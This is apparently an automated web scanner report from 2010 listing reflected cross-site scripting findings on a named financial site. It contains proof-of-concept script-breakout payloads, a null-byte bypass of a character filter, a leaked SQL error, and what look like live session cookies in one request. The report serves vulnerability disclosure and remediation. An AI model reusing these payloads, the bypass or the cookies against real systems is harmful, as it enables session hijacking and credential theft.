Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://www.totalmerrill.com/MapQuestProxyPage/proxy.aspx [extracriteria XML parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.totalmerrill.com
Path:
/MapQuestProxyPage/proxy.aspx
Issue detail
The value of the extracriteria XML parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9a72b'-alert(1)-'49ad4ea02af was submitted in the extracriteria XML parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<?xml version="1.0" encoding="ISO-8859-1"?> <Search Version="0"> <RadiusSearchCriteria><Radius>25</Radius><MaxMatches>30</MaxMatches><CenterLatLng><Lat>40.7394</Lat><Lng>-73.9835</Lng></CenterLatLng>< ...[SNIP]... --frame4-->-->%' AND BusinessUnit = 'WM'AND RecordId <> '0505TQ' AND RecordId <> '05061M' AND RecordId <> '0506RL' AND RecordId <> '0502SD' AND RecordId <> '999999'9a72b'-alert(1)-'49ad4ea02af</ExtraCriteria></DBLayerQuery></DBLayerQueryCollection> <FeatureCollection Version="0" Count="0"></FeatureCollection> <DTCollection Count="0"></DTCollection> <Authentication Version="2"><TransactionI ...[SNIP]...
Response
HTTP/1.1 400 Thread was being aborted. Cache-Control: private Content-Length: 718 Content-Type: text/plain; charset=iso-8859-1 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Date: Tue, 14 Dec 2010 02:27:17 GMT
Status Code: 400 Bad Request Explanation: [DBPool=MQA] ODBC_ERROR:[SQL State:23000, Native:46909632807976, Message:[unixODBC][MySQL][ODBC 3.51 Driver][mysqld-5.0.51-log]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '9a72b'-alert(1)-'49ad4ea02af) limit 5000' at line 1] Status Code: 400 Bad Request Explanation: [DBPool=MQA] ODBC_ERROR:[SQL State:23000, Native:46909632807976, Message:[unixODBC][MySQL][ODBC 3.51 Driver][mysqld-5.0.51-log]You h ...[SNIP]...
1.2. http://www.totalmerrill.com/MapQuestProxyPage/proxy.aspx [layername XML parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.totalmerrill.com
Path:
/MapQuestProxyPage/proxy.aspx
Issue detail
The value of the layername XML parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3cf97'%3b50c698ba32b was submitted in the layername XML parameter. This input was echoed as 3cf97';50c698ba32b in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<?xml version="1.0" encoding="ISO-8859-1"?> <Search Version="0"> <RadiusSearchCriteria><Radius>25</Radius><MaxMatches>30</MaxMatches><CenterLatLng><Lat>40.7394</Lat><Lng>-73.9835</Lng></CenterLatLng></RadiusSearchCriteria> <CoverageName></CoverageName> <DBLayerQueryCollection Count="1"><DBLayerQuery><LayerName>3cf97'%3b50c698ba32b</LayerName><ExtraCriteria>N LIKE '<!--framePath //<!--frame4-->-->%' AND BusinessUnit = 'WM'AND RecordId <> '0505TQ' AND RecordId <> '05061M' AND RecordId <> '0506RL' AN ...[SNIP]...
Response
HTTP/1.1 400 Thread was being aborted. Cache-Control: private Content-Length: 362 Content-Type: text/plain; charset=iso-8859-1 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Date: Tue, 14 Dec 2010 02:27:01 GMT
Status Code: 400 Bad Request Explanation: [DBPool=3cf97';50c698ba32b] The server is not configured for Database pool '3cf97';50c698ba32b'. (Check server configuration.) Status Code: 400 Bad Request Explanation: [DBPool=3cf97';50c698ba32b] The server is not configured for Database pool '3cf97';50c698ba32b'. (Check server configuration.)
1.3. http://www.totalmerrill.com/MapQuestProxyPage/proxy.aspx [layername XML parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.totalmerrill.com
Path:
/MapQuestProxyPage/proxy.aspx
Issue detail
The value of the layername XML parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 65cb6%3balert(1)//f240c44544a was submitted in the layername XML parameter. This input was echoed as 65cb6;alert(1)//f240c44544a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<?xml version="1.0" encoding="ISO-8859-1"?> <Search Version="0"> <RadiusSearchCriteria><Radius>25</Radius><MaxMatches>30</MaxMatches><CenterLatLng><Lat>40.7394</Lat><Lng>-73.9835</Lng></CenterLatLng></RadiusSearchCriteria> <CoverageName></CoverageName> <DBLayerQueryCollection Count="1"><DBLayerQuery><LayerName>65cb6%3balert(1)//f240c44544a</LayerName><ExtraCriteria>N LIKE '<!--framePath //<!--frame4-->-->%' AND BusinessUnit = 'WM'AND RecordId <> '0505TQ' AND RecordId <> '05061M' AND RecordId <> '0506RL' AN ...[SNIP]...
Response
HTTP/1.1 400 Thread was being aborted. Cache-Control: private Content-Length: 388 Content-Type: text/plain; charset=iso-8859-1 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Date: Tue, 14 Dec 2010 02:27:07 GMT
Status Code: 400 Bad Request Explanation: [DBPool=65cb6;alert(1)//f240c44544a] The server is not configured for Database pool '65cb6;alert(1)//f240c44544a'. (Check server configuration.) Status Code: 400 Bad Request Explanation: [DBPool=65cb6;alert(1)//f240c44544a] The s ...[SNIP]...
1.4. http://www.totalmerrill.com/crossdomain.xml [name of an arbitrarily supplied request parameter]previous
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.totalmerrill.com
Path:
/crossdomain.xml
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload %00c08bd'-alert(1)-'07d25c3386d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as c08bd'-alert(1)-'07d25c3386d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /crossdomain.xml?%00c08bd'-alert(1)-'07d25c3386d=1 HTTP/1.1 Host: www.totalmerrill.com Proxy-Connection: keep-alive Referer: http://c.brightcove.com/services/viewer/federated_f9?&width=330&height=295&flashID=myExperience686857927001&bgcolor=%23FFFFFF&playerID=86874896001&playerKey=AQ~~%2CAAAAAGp_KJU~%2Cro5jtaeQ_NPXBoFW5aRARFPKHd2GKphi&isVid=true&dynamicStreaming=true&wmode=transparent&%40videoPlayer=686857927001&autoStart= Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: TM_PUID=a2ab9bd9-cdc6-433c-a6b3-026bcadf396d; __utmz=15720499.1290637226.3.3.utmcsr=ml.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.asp; SMIDENTITY=cJc+dswe2IXcrd9E/b7nsFpWl63DpEwKMrRWZXVPvIZU7l9e52Pj65wEO0hfSEzpQcfCWB4GDj2ruTyI5IF1LokJ4Mi0TEesHEaYonCJeZqjW11WT6vnJ/tUMKDMX5cpJzD9f9G6W1/fIQscDYtrRExGpmuAqHCZ6Mn6TubpAsdgNT3OURfm1MnsAFlEkCTggeNRlix9l95vATffzxqOoFvkcsnpxQNLGVrlckQNbj38Pb/ZzHIAhU/MKB+2ClD9lXOCDNLmWnl0SF0RA8rRUTG/nE/gbcWptOCZBV9aH10sTKsnF4NopFKyFTe9NqRuv4Dzo1Cf6ohYbxZ7GGtNKee0ArCgBX9fVZNnXZRp0TyGtbeHeh4kWD8rP0UvxPqKqH91dPqYQkB3AFj1IXWFOxJXhq7H9+TwqV/clDv8eNU4FP5Z4VocwtKln+eu4CwHIjhPp2gpEUqgQAeWqbZrqZim8J7F6ZRdaQukvy8Hh0nFNK3MAkScF+BUAsJ/Gg/TDJcoEszvIOmvXqOReZS3p5dwj2gHt5vwXn0VKnP6+jrKSARS+OmDgfVrUq3rdUf1y50p2r3PVH5L615WHk90aUG6Yi3/0y4xB3r6uIEx7y/RA1/X4utZ0VJjYeBZ9Ptg; CMAVID=30011291410180160207812; cmTPSet=Y; __utma=15720499.1423148302.1290629618.1290637226.1292293250.4; __utmc=15720499; __utmb=15720499.6.10.1292293250
Response
HTTP/1.1 404 Not Found Cache-Control: no-cache Pragma: no-cache Content-Length: 15722 Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Date: Tue, 14 Dec 2010 02:25:50 GMT
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head ...[SNIP]... <script type="text/javascript" language="javascript">g_ml_tm_jsLib_1_0.handleHttpStatusError('IIS', '404;http://www.totalmerrill.com:80/crossdomain.xml?%00c08bd'-alert(1)-'07d25c3386d=1', "");</script> ...[SNIP]...